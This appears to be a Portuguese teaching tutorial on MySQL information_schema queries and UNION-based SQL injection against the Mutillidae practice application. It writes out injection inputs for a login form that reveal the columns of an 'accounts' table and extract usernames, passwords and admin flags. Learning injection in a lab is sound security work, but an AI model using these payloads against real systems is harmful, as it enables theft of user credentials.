MySQL

Extrair Informação Sensível do Banco de Dados

Descobrir nome das colunas de tabela da BD

Embora o nome das tabelas do banco de dados “mutillidae” já seja conhecido, para obter os resgistos destas tabelas, convém primeiro saber o nome das colunas das tabelas. Para saber o nome das colunas de uma determinada tabela, podemos usar a seguinte query:

Query: SELECT column_name FROM information_schema.columns WHERE table_name=”Conta_Usuario”;
Resultado: nome, cidade, idade

No entanto, é preciso ter em atenção que pode existir dois bancos de dados com tabelas com nomes iguais. Neste caso, para além de especificar o nome da tabela, tamos também que condicionar a query com o nome do banco de dados:

DB1

Tabela: Conta_Usuario
nome | cidade | idade

Query: SELECT column_name FROM information_schema.columns WHERE table_name=”Conta_Usuario” AND table_schema=”DB1”;
Resultado: nome, cidade, idade

DB2

Tabela: Conta_Usuario
username | password

Query: SELECT column_name FROM information_schema.columns WHERE table_name=”Conta_Usuario” AND table_schema=”DB2”;
Resultado: username, password

Extrair Informação Sensível do Banco de Dados

Query: SELECT * FROM accounts WHERE username='$name' AND password='$password';

Vamos agora adaptar a injeção para podermos identificar o nome das colunas da tabela accounts.

Input: nome= ' UNION SELECT 1, column_name, null, null, null, null, 7 FROM information_schema.columns WHERE table_name="accounts"# password=
Query: SELECT * FROM accounts WHERE username=" UNION SELECT 1, column_name, null, null, null, null, 7 FROM information_schema.columns WHERE table_name="accounts"#' AND password=";

Extrair Informação Sensível do Banco de Dados

Query: SELECT * FROM accounts WHERE username='$name' AND password='$password';

Uma das informações mais sensíveis que podem estar guardadas num banco de dados é as credenciais de contas de usuários. Visto que já conhecemos o nome das colunas da tabela "account", podemos extrair informação desta tabela e, possivelmente descobrir as credenciais dos usuários.

Input: nome= ' UNION SELECT 1, username, password, is_admin, null, null, 7 FROM accounts # password=
Query: SELECT * FROM accounts WHERE username='' UNION SELECT 1, username, password, is_admin, null, null, 7 FROM accounts #' AND password='';